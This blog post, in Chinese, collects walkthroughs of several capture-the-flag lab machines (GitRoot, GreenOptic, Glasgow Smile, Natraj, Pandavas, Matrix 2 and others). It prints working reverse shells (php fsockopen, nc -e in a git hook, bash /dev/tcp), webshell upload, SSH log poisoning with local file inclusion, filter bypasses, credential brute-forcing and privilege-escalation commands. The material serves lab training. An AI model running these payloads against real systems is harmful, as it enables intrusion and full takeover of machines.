发现json 有可以利用apt提权,但是没有该用户

adduser添加后执行

dwv(命令执行空格绕过,.sh提权)

python3 -m http.server 1000

由于空格被过滤了,所以,这里需要用其他方式绕过,比如%0a、%0b、%09、${IFS}

yt_url=1;wget${IFS}192.168.44.143:8000/shell3.php;

weevely generate seanz7 ./shell3.php

weevely http://192.168.44.182/shell.php seanz7

用上传shell.php同样的方法将pspy64传到靶机上,但是weevely的shell无法运行成功pspy64,无奈使用php弹了一个shell到攻击机上,发现可以运行成功

php -r '$sock=fsockopen("192.168.56.177",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

上pspy检测进程

可以看到root用户执行了clean.sh

查看用户权限 ,www-data用户对这个文件有读写的权限

看别人的writeup的神奇用法

find命令添加s权限

echo "chmod u+s /usr/bin/find" >> clean.sh 过一段时间执行

然后使用find命令的-exec选项进行提权

find . -exec /bin/bash -p \;

GitRoot(子域名,.git信息泄露(githack使用),多用户提权,.git仓库使用,git提权)

Hey Jen, just installed wordpress over at wp.gitroot.vuln please go check it out!

访问后提示我们访问wp子域名

进行子域名爆破看看有没有别的子域名

gobuster vhost -u gitroot.vuln -w /usr/share/dirb/wordlists/big.txt | grep 200

image-20231116085656157

扫描到repo子域名

简单查看没东西

dirb目录爆破,得到.git目录

python2 GitHack.py http://repo.gitroot.vuln/.git/

将源码拉到本地

image-20231116131838865

查看文件,发现一些账户

用hydra爆破

用户名:pablo,密码:mastergitar

在pablo目录下存在public文件夹及message文件。**

image-20231116132107017

find / -name .git 2>/dev/null

img

cd /opt/auth/.git/logs/refs/heads/ 进入它的head目录

ls -lna | sort -n -r 按大小排列,查看第一个比较大的 ( cat heads/* 这个是查看所有的)

sort -n -r: 这个部分使用 sort 命令对先前 ls 命令的输出进行排序。

  • -n: 以数值顺序排序。

  • -r: 逆序排序,即从大到小。

cat dev-43

414 b2ab5f540baab4c299306e16f077d7a6f6556ca3 06fbefc1da56b8d552cfa299924097ba1213dd93 Your Name you@example.com 1590500148 -0400 commit: added some stuff 看起来这是一个Git提交记录的信息。下面是对提交记录信息的解释:

  • Commit Hash(提交哈希): b2ab5f540baab4c299306e16f077d7a6f6556ca3 这是Git版本控制系统为每个提交分配的唯一标识符。通过这个哈希值,你可以在版本历史中唯一地标识这个提交。

  • Author(作者): Your Name <you@example.com> 提交的作者信息,包括姓名和电子邮件地址。在Git中,这是在提交时设置的身份信息。

  • Timestamp(时间戳): 1590500148 -0400 提交的时间戳,表示提交发生的时间。时间戳以Unix时间格式给出,然后是时区信息(-0400表示时区为东部夏令时)。

  • Commit Message(提交消息): commit: added some stuff 提交消息是作者提供的对于这个提交目的和更改的简要描述。在这个例子中,提交的目的是“added some stuff”。

好像是添加用户

gitshow b2ab5f540baab4c299306e16f077d7a6f6556ca3 看一下内容

里面有一个密码: r3vpdmspqdb,用户名通过猜到,只有三个(可以查看/home目录下目录,)也可以通过之前git源码泄露得到的文件内容得知,还可以从靶机描述得知,然后再结合wp这个站点的管理员是beth,尝试一下ssh登录,发现可登录成功。在beth用户的home目录下,有一个public文件夹,发现txt文件,内容如下:

img

在Git版本控制系统中,hook 文件是一种脚本文件,它允许你在特定的Git事件发生时触发自定义操作。这些脚本存储在Git仓库的 .git/hooks/ 目录中。其中,post-commit 是一种特定类型的 Git hook。

post-commit hook 是在每次成功的提交后执行的脚本。它通常用于执行一些与提交后处理相关的任务,例如发送通知、更新文档、触发构建等。在 .git/hooks/ 目录下,你可以找到一个 post-commit.sample 文件,你可以将其重命名为 post-commit 并编辑其内容以执行你想要的操作。

cd betch

mkdir -p .git/hooks

具体而言,这个命令使用了 -p 选项,这使得命令会递归地创建指定的目录,如果目录不存在的话。所以,如果 .git/hooks 目录不存在,那么它就会被创建。这是确保在仓库中设置Git钩子的一种常见方式。

cd .git/hook/

vim post-commit

#! /bin/bash

/usr/bin/nc -e /bin/bash 192.168.44.184 5555

chmod 777 post-commit

cd /home/beth

7z a xshell.zip .git/

ls -l xshell.zip

chomd 777 xshell.zip

ls -l xshell.zip

-rwxrwxrwx 1 beth beth 489 Jun 6 11:16 xshell.zip

本地监听

复制压缩包到/home/jen/public/repos目录下**

cp xshell.zip /home/jen/public/repos

cd jen

ls -al

在jen目录.viminfo文件中发现一段可疑字符,,,这边要记得对文件都要枚举查查看一下

不然很容易找不到提权点

en@GitRoot:~$ sudo -l

[sudo] password for jen: binzpbeocnexoe

可以利用git提权

sudo git -p help config

再:后面输入!/bin/sh

成功提权

***GreenOptic:1(wireshark的使用)

一开始扫描,先试了一下fto匿名登入,不行,开始扫描目录,得到一个account目录,进去是个登入页面,url框有个include,尝试文件读取include=/etc/passwd。成功,收集一下账户

vim user cat user| grep /bin/bash vim username

尝试一下爆破,sql,bp抓包看返回都没成功,意料之中

看一下:10000端口和:53 10000有个提示

image-20231117090710166

将这个网站在hosts上绑定,访问一下也是一个登入框,先不管它

因为这个网站是个子域名,让我们尝试一下子域名爆破

dnsenum --dnsserver 192.168.44.185 greenoptic.vm

dig @192.168.44.185 greenoptic.vm axfr

这个可以扫描这个ip的所有dns解析

AXFR(权威转移)查询用于从权威 DNS 服务器转移整个 DNS 区域。这对于获取指定区域中所有域记录的完整列表非常有用

得到recoveryplan前缀 ,访问一下,还是一个登入页面,

staff:$apr1$YQNFpPkc$rhUZOxRE55Nkl4EDn.1Po.

image-20231116223813014

看到这个页面可以想到下面的文件看有没有凭证 /var/www/.htpasswd

image-20231116223829514

登入进去是一个phpbb页面 HelloSunshine123

进入到key information, 按照提示利用,下载dpi.zip。 下载好dpi.zip后解压它需要密码,但是提示中还说有类似提示一点密码是在邮箱里

谷歌搜索 where is email directory on linnux

可以检查 /var/spool/mail 或 /var/mail 位置。我们不知道电子邮件的名称,但我们知道 Sam 的名字,还有terry,用文件读取漏洞试试

http://192.168.44.185/account/index.php?include=/var/mail/sam

利用wireshark分析解压出来的.pcap,因为前面一直提示说邮件,可以筛选ftp的流量包,然后很快就可以看到alex:FwejAASD1

提权:

在alex目录下发现一个wireshark目录,而且alex也属于这个组

dumpcap -w test.pcap -i lo 用于捕获网络流量的命令行工具,是 Wireshark 套件的一部分

tgshark -i ens33 -w test.pcpa tshark,它是wireshark的终端版本。

当利用tgshaek捕获数据包的时候,可以看它捕获多少数据和文件来看有无捕获成功

用any捕获的比ens33捕获的要大得多

tshark -i any 直接查看,就可以看到有个加密串base64可疑了(不需要再下载pcpa文件到本地)

但是完整的尝试一遍

用python -m SimpleHTTPServer 在靶机开启,然后kali用wget下载,不行

这边可以用两种办法(ftp,scp)

cp test.pcap /tmp/

scp alex@192.168.44.185:/tmp/test.pcap ./

得到数据包用wireshark打开,分析它的tcp流.得到一个base64加密,尝试root登入ssh

Glasgow Smile:1.1(joomla提权,3个用户提权)

目录扫描,joomla ,再扫描有个administractor目录,尝试了一下joomla爆的sql注入没成功

bp爆破 cewl抓账号密码

**账号:joomla ,密码:Gotham登入,后台提权

image-20231118160334510

在index.php里面修改就可以

image-20231118160142125

这边点击template preview就可以反弹了

得到www-data权限,遍历文件,在config.php里面发现

public $user = 'joomla'; public $password = 'babyjoker';

mysql -u joomla -p

show databases; use batjoke;

show tables; select * from taskforce;

有账号密码(base64)

???AllIHaveAreNegativeThoughts??? 解密密码

ssh连接 rob

home下面的用户,盲猜要提权3个用户

abner penguin rob

1903 - project-zero - Project Zero - Monorail

cat Abnerineedyourhelp 一堆英文看着像 rot13 CyberChef 解密

需要对文件末尾的base64解密

echo 'STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA==' | base64 -d

解密 abner密码

I33hope99my0death000makes44more8cents00than0my0life0

su abner

find / -iname penguin 2>/dev/null 找与penguin有关的文件

/var/www/joomla2/administrator/manifests/files/.dear_penguins.zip 解压它得到

利用abner的密码

账号:penguin,密码:scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

cat PeopleAreStartingToNotice.txt

结合文件内容,发现.trash_old属于用户penguin,root组并且任何人都可执行。

echo "bash -c 'bash -i >& /dev/tcp/192.168.44.143/4444 0>&1'" >> .trash_old

要记得把exit 0给用#注释

HA:Natraj (ngnix文件包含日志提权,apache2提权)

enp0s17

service networking restart

http://192.168.56.103/console/ 文件 有个file.php,尝试一下file参数get传送文件读取/etc/passwd成功(这边可以fuzz参数 ffuf -u 'http://192.168.101.78/console/file.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0)

ssh登入natraj 读取/var/log/auth(用户登入凭据) 是可以发现有ssh错误登入的数据

然后利用ssh 输入php代码连接

ssh "<?php system(\$_GET[1234]); ?>"@192.168.56.103

这段代码就会被写入/var/log/auth

文件包含日志读取

http://192.168.56.103/console/file.php?file=/var/log/auth.log&1234=bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F192.168.56.102%2F8888%20%3C%261%27

linpeas.sh看到

/etc/apache2/apache2.conf是可写的任意用户

image-20231119142243736

先将这些复制到本地,然后修改

image-20231119145632230

为mahakal,上传一个shell.php到html下

重启靶机,访问shell.php,反弹回来mahakal用户

我们执行“sudo -l”,看到我们有权以 root 身份运行 nmap 二进制文件,并且无需密码。

HA:Pandavas(ssh爆破,dockerl容器)

常规扫描,没什么

cewl生成密码,用karna做用户,hydra爆破

karna // Surya ssh登入

尝试对kanrna用户进行枚举,无可用提权

还有个krishna用户,尝试切换该用户,直接接着hydra暴力破解

krishna // Bhagavad

sudo -l

都是all,直接可以提权

它还有另外两个

ip add | grep docker

ip add:该命令用于显示系统上网络接口的信息。

img

sudo docker ps 列出机器上运行的 docker 进程

img

sudo docker exec -it 41326f523808 /bin/bash 先试试ftp的

  • sudo:这用于以提升的权限运行 Docker 命令。

  • docker exec:这是在正在运行的 Docker 容器中执行命令的命令。

  • -it:这些选项用于分配伪 TTY(终端)并保持 STDIN 打开,允许您与容器交互。代表-i“交互式”,代表-t“终端”。

  • 41326f523808:这是要在其中执行命令的 Docker 容器的 ID。容器 ID 对于每个正在运行的容器来说都是唯一的。

  • /bin/bash``bash:这是您要在 Docker 容器内执行的命令 ( )。它在指定容器内启动交互式 Bash shell。

    cd /root ls -liah cat .ash_history读取它并获取以 Base64 编码的标志和凭据。

    img

    解码 echo -n "aWduaXRlQDEyMw==" | base64 -d

    得密码 ignite@123

    用这个做密码登入数据库

    mysqldump -A –u root –password=ignite@123 |grep flag

Matrix 2(ngnix敏感文件读取,图片隐写)

扫描端口:80,1337,12320,12321,12322

1337是一个登入窗口

查看12322时,进行目录扫描,看file_view.phpTargets IP Address条目时,它打开了一个空白网页

这边利用post尝试lfi漏洞,也可以用火狐的插件

curl -X POST –k https://192.168.1.101:12322/file_view.php -d "file=../../../../../etc/passwd"

bp抓包的话 ,记得改Content-Type: application/x-www-form-urlencoded,不然还是返回空白页

okk ,这边是nginx的系统可以访问敏感目录

file = ../../../../../etc/nginx/sites-available/default

这里面可以看到密码储存在 **/var/www/p4ss/.htpasswd

img

查看一下它得到**Tr1n17y 的用户的密码哈希值,用john破解

用户名:Tr1n17y 密码:admin

登入上面的页面

查看页面源码

img

还有一个名为h1dd3n.jpg的 jpeg 文件被注释掉,这是一个经典的隐写术挑战。

将图像下载下来用stegihide查看,得到n30用户的密码p4$$w0rd

steghide extract -sf h1dd3n.jpg -p n30

用它登入12320端口ssh

use exploit/multi/script/web_delivery

set lhost 192.168.1.107

set srvhost 192.168.1.107

exploit

img

创建一个python漏洞脚本,反弹到msf上

ls -lhai

阅读一下bash_history

morpheus 'BEGIN {system("/bin/sh")}' ```sh and got the root flag..

morpheus 'BEGIN {system("/bin/sh")}执行试试,成功提权root

  • 18
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值